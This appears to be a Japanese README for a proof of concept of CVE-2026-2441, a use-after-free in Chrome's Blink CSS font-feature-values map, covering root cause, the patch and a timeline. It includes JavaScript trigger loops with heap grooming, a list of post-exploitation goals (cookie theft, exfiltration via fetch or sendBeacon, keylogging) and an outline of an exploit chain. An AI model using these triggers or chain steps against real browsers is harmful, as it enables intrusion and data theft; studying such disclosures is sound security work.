| フィールド | 値 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8(高) |
| タイプ | Use-After-Free(CWE-416) |
| コンポーネント | Blink CSS — CSSFontFeatureValuesMap |
| ソースファイル | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 修正コミット | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 報告者 | Shaheen Fazim(2026-02-11) |
| パッチ日付 | 2026-02-13 |
| 実環境での悪用 | あり — Googleが活発な悪用を確認 |
| プラットフォーム | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| Windows / macOS(Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux(Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS(Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromiumベースのブラウザ(Edge、Brave、Opera、Vivaldi) | ベンダーのアドバイザリを確認 | ベンダーにより異なる |
FontFeatureValuesMapIterationSourceは、内部のFontFeatureAliases HashMapへの生ポインタ(const FontFeatureAliases* aliases_)を保持していました。イテレーション中にset()またはdelete()でマップが変更されると、HashMapはリハッシュされ、新しいストレージが割り当てられ、古いストレージが解放されます。生ポインタはダングリングとなり、次のFetchNextItem()呼び出しで解放済みメモリが読み取られます。
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = 内部HashMapへの生ポインタ
→ iterator_ = aliases_->begin()
FetchNextItem()
→ iterator_->key を読み取る(aliases_経由)
イテレーションの合間に map.set() / map.delete() が呼び出された場合:
→ HashMapがリハッシュ(新規割り当て、旧領域は解放)
→ aliases_ → ダングリングポインタ
→ iterator_ → 無効化
→ 次の FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // 生ポインタ → リハッシュ後にダングリング
+ const FontFeatureAliases aliases_; // ディープコピー → リハッシュの影響を受けない
この修正は、生ポインタをHashMapのディープコピーに置き換えます。元のマップがリハッシュされても、イテレータは自身のコピー上で動作するため、ダングリングポインタが防止されます。
poc.htmlを開く| Chromeバージョン | 期待される動作 |
|---|---|
| < 145.0.7632.75(未パッチ) | レンダラーのクラッシュ — STATUS_ACCESS_VIOLATION(Windows)またはSIGSEGV(Linux/macOS)。Chromeに「このページを開けません」というエラーが表示されます。 |
| >= 145.0.7632.75(パッチ適用済み) | クラッシュなし — PoCは最後まで実行され、すべてのエントリが正常に読み取られます。 |
脆弱なChromeバージョンで開くと、レンダラープロセスがSTATUS_ACCESS_VIOLATIONでクラッシュします:
このページを開けません
エラーコード: STATUS_ACCESS_VIOLATION
これによりUAFがトリガーされたことが確認できます — ダングリングポインタが解放済み/未マップのメモリにアクセスし、レンダラープロセスが終了します。
PoCは3つの独立した方法でUAFをトリガーします:
entries()イテレータ + ミューテーションループconst iterator = map.entries();
while (step < 20) {
iterator.next(); // (現在ダングリングしている)ポインタ経由で読み取り
map.delete(key); // リハッシュをトリガー
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // 再割り当てを強制
}
for...of + 並行ミューテーションfor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + レイアウト再計算function rafTrigger() {
document.body.offsetWidth; // レイアウト再計算を強制
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
各方法にはヒープグルーミングも含まれています — 50個の同サイズの@font-feature-valuesルールを割り当てて、潜在的な悪用のためにヒープレイアウトを予測可能にします。
document.cookie、localStorage、sessionStorage、フォーム入力値の読み取りfetch() / WebSocket / sendBeacon()による外部送信addEventListener('keydown')によるすべてのキーストロークのキャプチャ別のサンドボックスエスケープ脆弱性と組み合わせると:
レンダラーRCE(CVE-2026-2441)
→ Mojo IPCエクスプロイト → ブラウザプロセスRCE
→ カーネルエクスプロイト → システム全体の完全侵害
→ マルウェア / ランサムウェア / スパイウェアのインストール
→ ファイルシステムアクセス、横展開、永続化
同様のブラウザUAFを使用した実世界のエクスプロイトチェーン:
この脆弱性はドライブバイダウンロードで悪用可能です — 悪意のあるページにアクセスする以外のユーザー操作は不要です:
chrome://flags/#site-isolation-trial-opt-out)| 日付 | イベント |
|---|---|
| 2026-02-11 | Shaheen Fazimによって脆弱性が報告される |
| 2026-02-13 | GoogleがChrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux)をリリース |
| 2026-02-13 | Googleが実環境での悪用を認める |
| 2026-02-16 | VivaldiとOperaが修正をリリース |
この研究が役に立ったと思われた方は、コーヒーを一杯ごちそういただけると幸いです:
この概念実証は、教育目的および許可されたセキュリティ研究目的のみで提供されています。明示的な許可なくシステムに対してこのPoCを使用することは違法かつ非倫理的です。著者はいかなる誤用についても責任を負いません。
MIT